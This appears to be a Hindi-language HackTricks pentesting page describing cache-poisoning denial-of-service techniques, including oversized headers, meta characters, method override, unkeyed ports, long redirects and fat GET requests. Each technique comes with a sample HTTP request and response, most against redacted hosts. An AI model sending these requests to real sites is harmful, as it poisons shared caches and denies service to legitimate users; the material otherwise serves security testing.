# Cache Poisoning to DoS {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] > इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो **वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया करने** के लिए प्रयास करते हैं जो **कैश सर्वरों के लिए मान्य हैं** - **HTTP Header Oversize (HHO)** एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया करेगा जो कैश किया जा सकता है: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` - **HTTP Meta Character (HMC) & Unexpected values** एक हेडर भेजें जिसमें कुछ **हानिकारक मेटा कैरेक्टर्स** जैसे और शामिल हों। हमले के सफल होने के लिए आपको पहले कैश को बायपास करना होगा। ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` एक खराब कॉन्फ़िगर किया गया हेडर बस `\:` के रूप में एक हेडर हो सकता है। यदि अप्रत्याशित मान भेजे जाते हैं, जैसे अप्रत्याशित Content-Type: तो यह भी काम कर सकता है। ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` - **Unkeyed header** कुछ वेबसाइटें यदि वे अनुरोध में कुछ विशिष्ट हेडर जैसे _X-Amz-Website-Location-Redirect: someThing_ हेडर को **देखती हैं** तो एक त्रुटि स्थिति कोड लौटाएंगी: ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` - **HTTP Method Override Attack (HMO)** यदि सर्वर `X-HTTP-Method-Override`, `X-HTTP-Method` या `X-Method-Override` जैसे हेडर के साथ HTTP विधि को बदलने का समर्थन करता है। तो एक वैध पृष्ठ का अनुरोध करना संभव है, विधि को बदलकर ताकि सर्वर इसका समर्थन न करे और एक खराब प्रतिक्रिया कैश हो जाए: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` - **अनकीड पोर्ट** यदि होस्ट हेडर में पोर्ट प्रतिक्रिया में परिलक्षित होता है और कैश कुंजी में शामिल नहीं होता है, तो इसे एक अप्रयुक्त पोर्ट पर पुनर्निर्देशित करना संभव है: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` - **लंबा रीडायरेक्ट DoS** जैसे कि निम्नलिखित उदाहरण में, x को कैश नहीं किया जा रहा है, इसलिए एक हमलावर रीडायरेक्ट प्रतिक्रिया के व्यवहार का दुरुपयोग कर सकता है ताकि रीडायरेक्ट एक ऐसा URL भेजे जो इतना बड़ा हो कि यह एक त्रुटि लौटाए। फिर, लोग जो बिना कैश किए गए x कुंजी के URL तक पहुँचने की कोशिश करेंगे, उन्हें त्रुटि प्रतिक्रिया मिलेगी: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` - **होस्ट हेडर केस सामान्यीकरण** होस्ट हेडर को केस संवेदनशील नहीं होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस में अपेक्षित करती हैं, यदि यह नहीं है तो एक त्रुटि लौटाती हैं: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` - **पथ सामान्यीकरण** कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode कर रहे हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` - **Fat Get** कुछ कैश सर्वर, जैसे Cloudflare, या वेब सर्वर, GET अनुरोधों को रोकते हैं जिनमें एक बॉडी होती है, इसलिए इसका दुरुपयोग करके एक अमान्य प्रतिक्रिया को कैश किया जा सकता है: ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## संदर्भ - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}}